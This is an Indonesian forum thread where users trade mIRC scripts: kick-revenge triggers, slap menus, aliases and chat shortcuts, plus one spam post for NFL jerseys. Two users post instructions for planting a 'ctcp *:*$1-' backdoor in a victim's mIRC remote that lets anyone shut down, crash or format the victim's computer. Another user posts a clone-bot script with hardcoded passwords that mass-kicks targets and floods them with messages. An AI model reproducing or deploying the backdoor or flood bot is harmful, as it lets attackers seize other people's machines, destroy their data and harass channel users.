yang punya script untuk IRC/mIRC script tolong di share di mari :)

[ArRay]

dah lama ga buat thread di mari..
oks bagi yang punya script apa saja mengenai IRC an tolng di share ea...

mulai dari aku ea

Berikut ini adalah contoh script Kick Revenge, maksudnya adalah otomatis membalas kick dari seseorang yang nge-kick kita:
====================
Copy-Paste to Remote [Alt + R]
====================

[Untuk jalanin scripnya ketik aja /remote on di mIRC kita


on *:KICK:#:{
if ($knick == $me) {
/cs unban $chan $me
.timer 1 2 join $chan
.timer 1 3 kick # $nick Balas Dendam..!!!
}
}

====================
Nah, berikut ini penjelasannya:
if ($knick == $me)
$knick maksudnya adalah nick yang di-kick sedangkan $me adalah nick kita, Kalau diterjemahin: Apabila nick yang kena kick itu nick kita.. Nah.. baris setelah tanda { adalah apa apa yg bakalan dilakuin..
/cs unban $chan $me
Ini maksunya adalah seandainya kamu tu kena kick + Banned, otomatis akan melepas banned tersebut.. Sehingga kamu nggak akan mempan di Banned..
.timer 1 2 join $chan
Setelah itu, anggap ja 2 detik setelahnya, kamu akan balik join lagi ke channel
.timer 1 3 kick # $nick Balas Dendam..!!!
Nah, ini intinya, setelah itu kamu akan otomatis bales nge-kick dia ($nick adalah nick yang nge-kick kamu tadi). Kata2 Balas Dendam..!!! bisa kamu ganti dengan kata2 kamu sendiri..


nah kalau yang ini :

scripnya kita bisa menambahkan menu slap di mIRC kita
cara naruh scripnya juga sama ke di atas ,, katanya nya pun bisa di edit sesuai keiniginan kita

ON 1:ACTION:*slaps*around*large trout:#:if ($me == $2) .timer 1 2 describe $chan towel-towel $nick

menu nicklist,query {
Slap
.sendal jepit:me slaps $$1 gawe sendal jepit! seng kenek tai...pitik...!!!
.bakiak:me kosek $$1 pake bakiak rombeng...!!!
.Kepret:me 4kepret $$1 ampek laut biar gak balik lagi.
.Keyboard:me uncali $$1 keyboard...monitor....cpu....mouse gubraaaakkkk......!!!
.telek:me uncali $$1 karo Telek sapi tuing?cung cruuuuuoooottttttt..modar kw.
.cium:me cium $$1 dengan mesla ampek merem melek mmmmmuuuuuuaaaa........chhhh Crutt...crruuuttt...!!! hmmm...enak'e...!
.pancal:me mancal $$1 ampek elek ampek remex
.Multi slap:me slaps $nick(#,1) $nick(#,2) $nick(#,3) $nick(#,4) $nick(#,5) $nick(#,6) $nick(#,7) $nick(#,8) $nick(#,9) $nick(#,10) $nick(#,11) $nick(#,12) $nick(#,13) $nick(#,14) $nick(#,15) $nick(#,16) $nick(#,17) 4karo 5mejo,12kursi!
.ngejak:me ngejak $$1 Mendem kopi nang Alun-alun kudus.
.ngakak:me ngakak krungu $$1 ngomong'e...koyok wonk korah-korah..wakakakaka...!!
.rokokan:me nyumet rokok surya sambil ngopi enak tenan.......!!!!!
.manis:me manis imut baik hati dan tidak sombong
.ngantuk:me huamzzzzzzz..........!!!!!!!! nguantukkk....!!!
.pamit:me wasalam kabeh
.cuek:me cuek okz.......
.keplak:me keplak $$1 sampek muter sirah'e..........
.saduki:me saduki $$1 nganti dlosoran
.cium:me cium $$1 ampek gak tahan mmmmmuuuuuuaaaa........chhhh 11huakakakka
.kawin:me ngejak $$1 moro nek KUA tanda tangan surat nikah
.antemi:me antemi $$1 nganti untune protol koyok mak erot bagh bugh..xixixixixixixi..!!
.nutuk:me nutuk $$1 sirahe ambek clurit...crakkkk...!! piye rasane...?? enak gak...?

 

[Samantha]

haha pusing, ray..
kalo script yang aku punya.. hanya di aliases.

misalnya mau set ignore..

ketik di Aliases..:
/Reaignore /mode Rea +g

nanti di box chatnya.. hanya ketik /reaignore
makan langsung deh otomatis nick Rea jadi +g

semacam itulah
dulu cara ini aku pakai pas masih jadi locop.
memudahkan menjawab yang ditanyakan oleh user.

/regchan /say Register Channel .. /Msg chanserv REGISTER #namachannel
/dropchan /say Drop Channel .. /Msg chanserv DROP #namachannel
/TransFo /say Transfer Founder.. FoundeR asli dan calon founder mengetik command dengan format seperti ini /Msg chanserv set #namachannel FOUNDER nick-FoundeR-baru

dst..

 

[ArRay]

kalau aku di aliases nya seperti ini :

/rokok /me sedang isap rokok ()¯¯¯¯¯)¯¯¯¯¯¯¯¯¯¯¯¯)))
/F2 /chanserv op # $me
/F3 /raw mode # -o+h $me $me
/F4 /raw mode $me +g
/F5 /raw mode $me -g
/F6 /away lagi dalam masa observasi



di box chatnya.. hanya ketik /rokok
maka akan muncul kata seperti sedang isap rokok ()¯¯¯¯¯)¯¯¯¯¯¯¯¯¯¯¯¯)))

untuk F2 : tinggal tekan F2 aja, maka nick kita akan +o denga sendirinya di chanel yang dimana kita memiliki akses

untuk F3 : tekan F3 di keyboard maka dengan otomatis nick kita di chanel itu akan set mode seperti ini : arRay_ sets mode: -o+h arRay_ arRay_

untuk F4 sama F5 : Dengn menekan menu F4/F5 kita akan set +/-g nick kita sendiri
untuk melakukan away bisa kita set juga kata2 nya jika kita mau,,, nah habis itu tinggal tekan menu di keyboard deh tekan F6 maka kita akan away secara otomatis tampa mengetik comand nya lagi

 

[PenjahaT]

on 1:CONNECT:/echo 4*** SiiyaB Boss | /echo 12,11*** Enah konek wes 4 $server 12 at 4 $time 12 gae jeneng 4 $nick |
on 1ISCONNECT:/echo 4*** Atah jeplak teko $server at $time gae jeneng $nick


on *:INPUT:*: {
if ($left($1,1) = /) { return }
if ($1 == wb) { /msg $active Wëlçømë BãçK $2- | halt }
if ($1 == as) { /msg $active 4A14ssalamualaikum 4W14r 4W14b. $2- | halt }
if ($1 == ga) { /msg $active GhªGhªGhªGhªGhªGhª $2- | halt }
if ($1 == he) { /msg $active HëHëHëHëHëHë $2- | halt }
if ($1 == kwe) { /msg $active 4kWë kWè kwÉ kwé kWë kWè kwÉ kwé $2- | halt }
if ($1 == was) { /msg $active 4W14a`alaikumsalam 4W14r 4W14b. $2- | halt }
if ($1 == kha) { /msg $active 3k4H10ª3k4H10ª3k4H10ª3k4H10ª3k4H10ª3k4H10ª3k4H10ª3k4H10ª $2- | halt }
if ($1 == bra) { /msg $active BraBeHaBeHaBeHaBeHaBeHaBeHaBeHaBeHaKuTaNGTaNG $2- | halt }
if ($1 == hi) { /msg $active HîåHîåHîåHîåHîåHîå $2- | halt }
if ($1 == ho) { /msg $active 4H14ô12ë4H14ô12ë4H14ô12ë4H14ô12ë4H14ô12ë4H14ô12ë $2- | halt }
if ($1 == walah) { /msg $active 12W4a13L4a6H ... 12W4a13L4a6H ... 12W4a13L4a6H ... 12¿15? $2- | halt }
if ($1 == wek) { /msg $active wekz 11¶12,9:4,9Þ $2- | halt }
if ($1 == tq) { /msg $active 4T9hank 4Y9ou $2- | halt }
if ($1 == hik) { /msg $active Ihikz..Ihikz 4,9;( $2- | halt }
if ($1 == y) { /msg $active 4Y14ª... $2- | halt }
if ($1 == asl) { /msg $active 2Â12ge2/2S412ex2/2L12ocation 2Þ12lease....4,8¶ $2- | halt }
if ($1 == hm) { /msg $active 4Hmm -_-!!! $2- | halt }
if ($1 == hie) { /msg $active 14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie.. $2- | halt }
if ($1 == brb) { /msg $active 4Be 4Right 4Back $2- | halt }
if ($1 == bb) { /msg $active 4Bi Bek kawand $2- | halt }
if ($1 == wc) { /msg $active 12,1{8W12}4éLcöM12{8é12} $2- | halt }
if ( $1- == /opme ) { say 12,1{8C12}4hanserv 12,1{8O12}4p 12,1{8M12}4e | //cs OP # $me | halt }
if ($1 == bitch) { say 4FuCk yOu BiCtH!!!! $2- | halt }
if ($1 == ty) { say {T}hank {Y}ou $2- | halt }
if ($1 == cya) { say 12,1{8§12}4êê ¥12{8å12}  $2- | halt }
if ($1 == btw) { say 12,1{8ß12}4y Thê Wã12{8Y12}  $2- | halt }
if ($1 == ) { say 4,8¶¦)  $2- | halt }
if ($1 == ?) { say 4¿0?4¿0?4¿0?4¿0?4¿0?4¿0? $2- | halt }
if ($1 == ha) { say 4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaH  $2- | halt }
if ($1 == si) { say 13Silent Mode 8[ 4ON ] $2- | halt }
if ($1 == gag) { say 2[4G2]11ag4_2[4N2]11gacen2[4G2] 4¿0?4¿0?4¿0?4¿0?4¿0?4¿0? $2- | halt }
if ($1 == love) { say 3,1«4¤4@4¤3»12Ï 13L11O0V9E 8U1,1 3«4¤4@4¤3» $2- | halt }
if ($1 == muach) { say 13M8ua14a12a11a4©12hh14hh 13:4)94 $2- | halt }
if ($1 == ) { say 13:-þ4 ~ UweekkKK !! $2- | halt }

 

[PenjahaT]

script

we offer discount brand clothes with cheap price,wholesale San Diego Chargers NFL Jerseys online now,sale cheap San Diego Chargers NFL Jerseys clothes,replica San Diego Chargers NFL Jerseys outlet,if you need discount San Diego Chargers NFL Jerseys please mail to us

scrip apaan ene ??

 

[aIed]

wuahhhhhh asli ni script bisa d gunakan..??
~~

 

[ArRay]

silahkan di coba aja pakkkkkkkkk
copy paste ke remote di mIRC

 

[PenjahaT]

di coba aja dechhh

 

[zRn]

numpang copy paste yah...

 

[ArRay]

numpang copy paste yah...

.hmmmmmmmmmm masterrrrrrrrr GonovU script

 

[djsony]

Remote IRC (Mengontrol 100% segala chattingan user)
ketikkan perintah “ctcp *:*$1-” ke dalam remote mIRC sasaran lalu masukan juga di dalam variables “%master Nick_kamu”.
Perintah mengontrol komputer target :
/ctcp run rundll user,#7 : Melakukan Shutdown komputer sasaran
/ctcp run rundll user,#3 : Membuat Crash / Hang komputer sasaran
/ctcp run rundll user,#4 : Mengacaukan tampilan yang ahkirnya komputer sasaran Crash /Hang
/ctcp run format /y : Melakukan format pada komputer sasaran
/ctcp run http://.com : Membuka situs sesuai keinginan kamu
/ctcp /nick : Mengganti nick mIRC sasaran


*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda tanpa kecuali (termasuk member)
——————————————

Trik tersebut hanya diajarkan untuk anak-anak ingusan yang ingin menjahili temannya, tapi justru temannya itu malah menjadi korban dari spammer (yang pertama mengajarkan trik ini), bahkan siapapun bisa mengendalikan komputer sasaran.

Sekarang, mari kita bahas script di atas, “ctcp *:*$1-” dalam remote, dan “%master Nick_kamu” dalam variables.

CTCP = client to client protocol, gunanya agar pesan yang kita kirim sampai pada client/user lain dalam suatu network/server yang sama, di sini berarti irc server.
Sedangkan *:*$1- berarti:
(siapapun) : (apapun yg dia type-kan untuk kita) : (yg terkirim ke query/status window) : (kita akan mengikutinya), jika script itu ada di remote irc kita.

Karakter bintang * yang pertama berarti apapun/siapapun, coba ganti dengan “SANJI”, maka hanya nick SANJI yang akan kita terima perintahnya. Karakter bintang * kedua berarti apapun yang diketikkan-nya yang sampai pada kita dalam window query/status, yang bersimbol tanda tanya. Jika tanda # atau $chan berarti dalam chanel.

Karakter $1- berarti apapun yang dia ketikkan pada kita, akan kita ikuti. Disuruh shutdown ya shutdown, disuruh jadi inviter/spamer juga nurut, bahkan chat sama orang lain, dsb, apapun akan dilakukan komputer kita untuknya.

Bagaimana dengan “%master Nick_kamu” yg ada di variables?????
Nggak ada hubungannya SAMA SEKALI!
Kecuali script itu diganti menjadi: “ctcp %master:*$1-”.

Selamat mencoba ^_^....

 

[DurjanA]

Remote IRC (Mengontrol 100% segala chattingan user)
ketikkan perintah “ctcp *:*$1-” ke dalam remote mIRC sasaran lalu masukan juga di dalam variables “%master Nick_kamu”.
Perintah mengontrol komputer target :
/ctcp run rundll user,#7 : Melakukan Shutdown komputer sasaran
/ctcp run rundll user,#3 : Membuat Crash / Hang komputer sasaran
/ctcp run rundll user,#4 : Mengacaukan tampilan yang ahkirnya komputer sasaran Crash /Hang
/ctcp run format /y : Melakukan format pada komputer sasaran
/ctcp run http://.com : Membuka situs sesuai keinginan kamu
/ctcp /nick : Mengganti nick mIRC sasaran


*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda tanpa kecuali (termasuk member)
——————————————

Trik tersebut hanya diajarkan untuk anak-anak ingusan yang ingin menjahili temannya, tapi justru temannya itu malah menjadi korban dari spammer (yang pertama mengajarkan trik ini), bahkan siapapun bisa mengendalikan komputer sasaran.

Sekarang, mari kita bahas script di atas, “ctcp *:*$1-” dalam remote, dan “%master Nick_kamu” dalam variables.

CTCP = client to client protocol, gunanya agar pesan yang kita kirim sampai pada client/user lain dalam suatu network/server yang sama, di sini berarti irc server.
Sedangkan *:*$1- berarti:
(siapapun) : (apapun yg dia type-kan untuk kita) : (yg terkirim ke query/status window) : (kita akan mengikutinya), jika script itu ada di remote irc kita.

Karakter bintang * yang pertama berarti apapun/siapapun, coba ganti dengan “SANJI”, maka hanya nick SANJI yang akan kita terima perintahnya. Karakter bintang * kedua berarti apapun yang diketikkan-nya yang sampai pada kita dalam window query/status, yang bersimbol tanda tanya. Jika tanda # atau $chan berarti dalam chanel.

Karakter $1- berarti apapun yang dia ketikkan pada kita, akan kita ikuti. Disuruh shutdown ya shutdown, disuruh jadi inviter/spamer juga nurut, bahkan chat sama orang lain, dsb, apapun akan dilakukan komputer kita untuknya.

Bagaimana dengan “%master Nick_kamu” yg ada di variables?????
Nggak ada hubungannya SAMA SEKALI!
Kecuali script itu diganti menjadi: “ctcp %master:*$1-”.

Selamat mencoba ^_^....

nice share,.,. lengkap ma petunjuknya ikz, kapan ya saia bisa kayak djsony

 

[The DoCKtoR]

alias -l shift.nick { return Scream_Girl1 Scream_Girl2 Scream_Girl3 Scream_Girl4 Scream_Girl5 Scream_Girl6 Scream_Girl7 Scream_Girl8 Scream_Girl9 Scream_Girl10 Scream_Girl11 Scream_Girl2 Scream_Girl3 Scream_Girl14 Scream_Girl5 Scream_Girl16 }
alias -l shift.iden { return Cc ini team awas calon kulo War nj c Cc ini team awas calon kulo War nj c }
alias -l shift.serv { return irc.big.net.id irc.indo.net.id irc.telkom.net.id irc.plasa.com irc.indowebster.com irc.sbp.net.id irc.big.net.id irc.telkom.net.id irc.plasa.com irc.big.net.id irc.indo.net.id irc.telkom.net.id irc.plasa.com irc.indowebster.com irc.sbp.net.id irc.big.net.id irc.telkom.net.id irc.plasa.com }
alias -l shift.port { return 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 }
alias -l shift.pass { return Virus indonet23 team08 jamur idws44 jawa25 SccTeam njawani 4uplasa Virus indonet23 team08 jamur idws44 jawa25 SccTeam njawani 4uplasa }
on *:exit:{
hfree -w enemy.*
unset %shift.*
}
on *:sockopen:*:{
if ($findtok($shift.nick,$sockname,32)) {
set %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ] $sockname
if ($sockerr > 0) {
sockclose $sockname
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
return
}
echo -s $chr(35) $+ $findtok($shift.nick,$sockname,32) connected: $sockname
sockwrite -nt $sockname $1- nick $sockname
sockwrite -nt $sockname user $gettok($shift.iden,$findtok($shift.nick,$sockname,32),32) x x :-
sockwrite -nt $sockname pass $gettok($shift.pass,$findtok($shift.nick,$sockname,32),32)
}
}
on *:sockclose:*:{
if ($findtok($shift.nick,$sockname,32)) {
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
echo -s $chr(35) $+ $findtok($shift.nick,$sockname,32) disconnected
var %shift.l = $findtok($shift.nick,$sockname,32)
.timershift $+ %shift.l 1 $calc(%shift.l * 5) sockopen $gettok($shift.nick,%shift.l,32) $gettok($shift.serv,%shift.l,32) $gettok($shift.port,%shift.l,32)
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) {
if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 }
if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) {
sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan
set %shift.d $calc(%shift.d + 1)
break
}
inc %shift.d
}
}
}
on *:sockread:*:{
if ($findtok($shift.nick,$sockname,32)) {
if ($sockerr > 0) {
sockclose $sockname
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
return
}
:next
sockread -f %shift.i
if ($sockbr == 0) { return }
tokenize 32 %shift.i
if (($2 == mode) && ($3 == $shift.chan)) {
if (+o isin $4) {
if (($5 == $sockname) || ($6 == $sockname) || ($7 == $sockname) || ($8 == $sockname)) {
if ($me ison $shift.chan) {
unset %shift.s
var %shift.j = $nick($shift.chan,0)
while %shift.j {
if ($hfind(enemy.nick,$nick($shift.chan,%shift.j),0,W)) { sockwrite -nt $sockname kick $shift.chan $nick($shift.chan,%shift.j) :ZZZZZZZZzzzzzzzzZZZZZZZZZZZzzzzzzzzzZZZZZZZZZZ }
dec %shift.j
}
}
else {
sockwrite -nt $sockname kick $shift.chan %s :Z
unset %shift.s
}
}
}
}
elseif (($2 == join) && ($shift.chan isin $3)) {
if ($hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W)) {
if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me)) { sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) :ZZZZZZZZzzzzzzzzZZZZZZZZZZZzzzzzzzzzZZZZZZZZZZ }
}
elseif ($hfind(enemy.nick,$gettok($mid($1,2,$len($1)),1,33),0,W)) {
if (($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($sockname,5),2,$len($address($sockname,5))),2,$asc(@))) && ($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($me,5),2,$len($address($me,5))),2,$asc(@))) && (!$hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W))) { hadd -m enemy.host $gettok($mid($1,2,$len($1)),2,$asc(@)) }
sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) :15,14***5,5 $+ $chr(32) $+ 0,1 Pr4e0maNshift 5,5 $+ $chr(32) $+ 15,14***
}
}
elseif (($2 == kick) && ($3 == $shift.chan)) {
if (($4 == $sockname) || ($4 == $me)) {
if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me) && ($me !ison $shift.chan)) { set %shift.s $gettok($mid($1,2,$len($1)),1,33) }
if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me) && (!$hfind(enemy.nick,$gettok($mid($1,2,$len($1)),1,33),0,W))) { hadd -m enemy.nick $gettok($mid($1,2,$len($1)),1,33) }
if (($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($sockname,5),2,$len($address($sockname,5))),2,$asc(@))) && ($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($me,5),2,$len($address($me,5))),2,$asc(@))) && (!$hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W))) { hadd -m enemy.host $gettok($mid($1,2,$len($1)),2,$asc(@)) }
if ($4 == $sockname) {
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) {
if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 }
if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) {
sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan
set %shift.d $calc(%shift.d + 1)
break
}
inc %shift.d
}
}
elseif ($4 == $me) { sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) :zoro }
}
}
elseif (($2 == quit) && ($gettok($mid($1,2,$len($1)),1,33) == $sockname)) {
sockclose $sockname
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
var %shift.k = $findtok($shift.nick,$sockname,32)
.timershift $+ %shift.k 1 $calc(%shift.k * 5) sockopen $gettok($shift.nick,%shift.k,32) $gettok($shift.serv,%shift.k,32) $gettok($shift.port,%shift.k,32)
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) {
if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 }
if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) {
sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan
set %shift.d $calc(%shift.d + 1)
break
}
inc %
}
}
elseif ($2 == 001) {
sockwrite -nt $sockname join %shift.base
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) {
if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 }
if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) {
sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan
set %shift.d $calc(%shift.d + 1)
break
}
inc %
}
}
elseif ($2 == 451) {
sockwrite -nt $sockname $1- nick $sockname
sockwrite -nt $sockname user $gettok($shift.iden,$findtok($shift.nick,$sockname,32),32) x x :-
sockwrite -nt $sockname pass $gettok($shift.pass,$findtok($shift.nick,$sockname,32),32)
}
elseif ($2 == 474) {
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) {
if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 }
if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) {
sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan
set %shift.d $calc(%shift.d + 1)
break
}
inc %
}
}
elseif (($1 == ping) && ($2)) { sockwrite -nt $sockname pong $2- }
goto next
}
}
on *:input:*: {
if ($1 == .start) {
.clear -s
var %shift.a = 1
while (%shift.a <= $numtok($shift.nick,32)) {
if (!$sock($gettok($shift.nick,%shift.a,32))) { .timershift $+ %shift.a 1 $calc(%shift.a * 5) sockopen $gettok($shift.nick,%shift.a,32) $gettok($shift.serv,%shift.a,32) $gettok($shift.port,%shift.a,32) }
inc %shift.a
}
}
if ($1 == .quit) {
.clear -s
var %shift.b = 1
while (%shift.b <= $numtok($shift.nick,32)) {
if ($sock($gettok($shift.nick,%shift.b,32))) {
sockclose $gettok($shift.nick,%shift.b,32)
echo -s $chr(35) $+ %shift.b disconnected
}
inc %shift.b
}
.timershift* off
unset %shift.d %shift.m*
}
if ($1 == .base) { echo -s $chr(35) %shift.base #$2 | set %shift.base #$2 }
if ($1 == .chan) { set %shift.chan #$2 }
if ($1 == .join) {
var %shift.c = 1
while (%shift.c <= $numtok($shift.nick,32)) {
if ($sock($gettok($shift.nick,%shift.c,32))) {
sockwrite -nt $gettok($shift.nick,%shift.c,32) join %shift.chan
set %shift.d %shift.c
break
}
inc %shift.c
}
}
if ($1 == .part) {
sockwrite -nt $gettok($shift.nick,%shift.d,32) part %shift.chan
unset %shift.d
}
if ($1 == .muach) {
.timer 5 1 sockwrite -nt * privmsg $2 :a, Mù12âçH Mù2âçH Mù8âçH Mù10âçH Mù11âçH Mù7âçH Mù3âçH Mù1âçH Mù9âçH Mù5âçH Mù12âçH Mù13âçH Mù5âçH Mù11âçH Mù3âçH Mù14âçH Mù3âçH Mù7âçH Mù5âçH Mù5âçH Mù3âçH 
.timer 5 1 sockwrite -nt * notice $2 :a, Mù12âçH Mù2âçH Mù8âçH Mù10âçH Mù11âçH Mù7âçH Mù3âçH Mù1âçH Mù9âçH Mù5âçH Mù12âçH Mù13âçH Mù5âçH Mù11âçH Mù3âçH Mù14âçH Mù3âçH Mù7âçH Mù5âçH Mù5âçH Mù3âçH M
}
if ($1 == .salto) {
.timer 5 1 sockwrite -nt * join %shift.chan
.timer 5 1 sockwrite -nt * part %shift.chan :1,14A14stagfìRuLLah 4H14alladim.. 4A14llohu..4A14khbar...4A14llohu..4A14khbar..4A14llohu..4A14khbar...!!!
}
}

yg itu juga blh kan...?

untuk fungsi dan cara pake nya liat aja di http://https://www.forum.or.id/t160925/

 

[The DoCKtoR]

on 1:CONNECT:/echo 4*** SiiyaB Boss | /echo 12,11*** Enah konek wes 4 $server 12 at 4 $time 12 gae jeneng 4 $nick |
on 1ISCONNECT:/echo 4*** Atah jeplak teko $server at $time gae jeneng $nick


on *:INPUT:*: {
if ($left($1,1) = /) { return }
if ($1 == wb) { /msg $active Wëlçømë BãçK $2- | halt }
if ($1 == as) { /msg $active 4A14ssalamualaikum 4W14r 4W14b. $2- | halt }
if ($1 == ga) { /msg $active GhªGhªGhªGhªGhªGhª $2- | halt }
if ($1 == he) { /msg $active HëHëHëHëHëHë $2- | halt }
if ($1 == kwe) { /msg $active 4kWë kWè kwÉ kwé kWë kWè kwÉ kwé $2- | halt }
if ($1 == was) { /msg $active 4W14a`alaikumsalam 4W14r 4W14b. $2- | halt }
if ($1 == kha) { /msg $active 3k4H10ª3k4H10ª3k4H10ª3k4H10ª3k4H10ª3k4H10ª3k4H10ª3k4H10ª $2- | halt }
if ($1 == bra) { /msg $active BraBeHaBeHaBeHaBeHaBeHaBeHaBeHaBeHaKuTaNGTaNG $2- | halt }
if ($1 == hi) { /msg $active HîåHîåHîåHîåHîåHîå $2- | halt }
if ($1 == ho) { /msg $active 4H14ô12ë4H14ô12ë4H14ô12ë4H14ô12ë4H14ô12ë4H14ô12ë $2- | halt }
if ($1 == walah) { /msg $active 12W4a13L4a6H ... 12W4a13L4a6H ... 12W4a13L4a6H ... 12¿15? $2- | halt }
if ($1 == wek) { /msg $active wekz 11¶12,9:4,9Þ $2- | halt }
if ($1 == tq) { /msg $active 4T9hank 4Y9ou $2- | halt }
if ($1 == hik) { /msg $active Ihikz..Ihikz 4,9;( $2- | halt }
if ($1 == y) { /msg $active 4Y14ª... $2- | halt }
if ($1 == asl) { /msg $active 2Â12ge2/2S412ex2/2L12ocation 2Þ12lease....4,8¶ $2- | halt }
if ($1 == hm) { /msg $active 4Hmm -_-!!! $2- | halt }
if ($1 == hie) { /msg $active 14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie..14H4ie.. $2- | halt }
if ($1 == brb) { /msg $active 4Be 4Right 4Back $2- | halt }
if ($1 == bb) { /msg $active 4Bi Bek kawand $2- | halt }
if ($1 == wc) { /msg $active 12,1{8W12}4éLcöM12{8é12} $2- | halt }
if ( $1- == /opme ) { say 12,1{8C12}4hanserv 12,1{8O12}4p 12,1{8M12}4e | //cs OP # $me | halt }
if ($1 == bitch) { say 4FuCk yOu BiCtH!!!! $2- | halt }
if ($1 == ty) { say {T}hank {Y}ou $2- | halt }
if ($1 == cya) { say 12,1{8§12}4êê ¥12{8å12} $2- | halt }
if ($1 == btw) { say 12,1{8ß12}4y Thê Wã12{8Y12} $2- | halt }
if ($1 == ) { say 4,8¶¦) $2- | halt }
if ($1 == ?) { say 4¿0?4¿0?4¿0?4¿0?4¿0?4¿0? $2- | halt }
if ($1 == ha) { say 4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaHaHa9HaHaHaHaHaHaHaHaHaHa4HaHaHaHaHaHaHaHaH $2- | halt }
if ($1 == si) { say 13Silent Mode 8[ 4ON ] $2- | halt }
if ($1 == gag) { say 2[4G2]11ag4_2[4N2]11gacen2[4G2] 4¿0?4¿0?4¿0?4¿0?4¿0?4¿0? $2- | halt }
if ($1 == love) { say 3,1«4¤4@4¤3»12Ï 13L11O0V9E 8U1,1 3«4¤4@4¤3» $2- | halt }
if ($1 == muach) { say 13M8ua14a12a11a4©12hh14hh 13:4)94 $2- | halt }
if ($1 == ) { say 13:-þ4 ~ UweekkKK !! $2- | halt }

Ini Fuungsinya buat apa..?
kok gak ada penjelasannya sih..?

 

[DurjanA]

The DoCKtoR : menanggapi postingan anda untuk masta Penjahat IF....

on *:INPUT:*: { <---- 1
